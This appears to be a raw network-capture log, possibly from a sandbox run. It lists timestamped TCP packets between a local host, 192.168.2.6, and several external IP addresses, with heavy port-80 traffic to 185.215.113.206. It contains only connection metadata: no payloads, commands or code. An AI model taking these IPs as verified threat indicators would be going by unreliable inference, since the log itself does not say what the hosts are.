Nov 18, 2024 04:41:37.250929117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250966072 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.258224010 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.258302927 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.259018898 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.259027958 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.259815931 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.259893894 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.259905100 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.260010958 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.260085106 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.260118008 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.260175943 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.261833906 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.261917114 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.261991024 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.262012959 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.262057066 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.262145042 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.263279915 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.263362885 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.263396978 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.263422966 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.263437986 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.263494968 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.265922070 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.265966892 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.266031027 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.266578913 CET	49939	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.266599894 CET	443	49939	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.266661882 CET	49939	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.267733097 CET	49939	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.267748117 CET	443	49939	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.268369913 CET	49940	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.268400908 CET	443	49940	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.268472910 CET	49940	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.268596888 CET	49940	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.268610001 CET	443	49940	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.270061970 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.270076036 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.270610094 CET	49941	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.270628929 CET	443	49941	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.270680904 CET	49941	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.271100044 CET	49941	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.271114111 CET	443	49941	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.277750969 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.277769089 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.278101921 CET	49942	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.278135061 CET	443	49942	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.278215885 CET	49942	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.278564930 CET	49942	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.278578997 CET	443	49942	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.279105902 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.279160976 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.279217958 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.290110111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.290128946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.290141106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.290153980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.290190935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.290265083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.308696985 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.308798075 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.309689045 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.309695005 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.312387943 CET	49943	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.312411070 CET	443	49943	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.312473059 CET	49943	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.312685966 CET	49943	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.312701941 CET	443	49943	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.321795940 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.365758896 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365803003 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365813017 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365837097 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365844965 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365855932 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365879059 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.365890980 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.365927935 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.365956068 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.367033005 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367043972 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367044926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367062092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367077112 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367082119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367090940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367094994 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.367105007 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367121935 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367139101 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367167950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367167950 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367172003 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.367189884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367204905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367204905 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.367223024 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367223024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367269039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367290020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367295027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367304087 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367305994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367341042 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367356062 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367374897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367377996 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367388010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367389917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367403030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367415905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367419958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367433071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367436886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367456913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367491961 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367513895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367528915 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367543936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367554903 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367559910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367575884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367579937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367598057 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367618084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367634058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367638111 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367650032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367676020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367711067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367731094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367744923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367759943 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367778063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.367788076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367813110 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.367887974 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.367959976 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.368022919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368040085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368056059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368072033 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368072987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368093967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368113041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368119955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368130922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368145943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368164062 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368165016 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368180990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368200064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368231058 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368243933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368263006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368288040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368314028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368315935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368329048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368345022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368347883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368386030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368410110 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368424892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368444920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368458986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368473053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368484020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368489027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368521929 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368541002 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368558884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368577957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368593931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368613005 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368647099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368657112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368664980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368686914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368706942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368721962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368721962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368743896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368760109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368763924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368781090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368799925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368801117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368839025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368877888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368886948 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.368894100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368911982 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.368923903 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.368959904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369035959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369050980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369066000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369081020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369081974 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369097948 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369119883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369144917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369149923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369160891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369178057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369189978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369194031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369210005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369211912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369236946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369270086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369301081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369318008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369333029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369349003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369364023 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369364023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369404078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369441986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369457960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369473934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369482994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369488955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369508982 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369529963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369570017 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369584084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369599104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369612932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369625092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369627953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369645119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369663954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369705915 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369708061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369723082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369739056 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369755030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369788885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.369795084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369817019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.369842052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.408967972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.409044981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.409061909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.409077883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.409084082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.409132957 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.411808014 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.412533998 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.412555933 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.412996054 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.413001060 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.433615923 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.434525013 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.434570074 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.434688091 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.484776974 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.484791040 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.484843016 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.484863043 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.484900951 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.484909058 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.484919071 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.484945059 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.485713959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.485739946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.485754013 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.485794067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.485807896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.485821009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.485821962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.485862017 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486067057 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.486093044 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.486159086 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.486166954 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.486223936 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.486485958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486545086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486546993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486560106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486579895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486589909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486591101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486604929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486615896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486641884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486669064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486726046 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486738920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486749887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486772060 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486788034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486897945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486910105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486921072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486932039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486943960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486946106 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.486957073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486969948 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486983061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.486987114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487025023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487055063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487070084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487097979 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487132072 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487333059 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.487396955 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.487471104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487483025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487493992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487509966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487521887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487528086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487540960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487555027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487562895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487601995 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487636089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487648010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487659931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487672091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487677097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487684965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487704039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487754107 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487875938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487888098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487900019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487919092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487930059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487930059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487942934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487952948 CET	49833	80	192.168.2.6	185.215.113.206
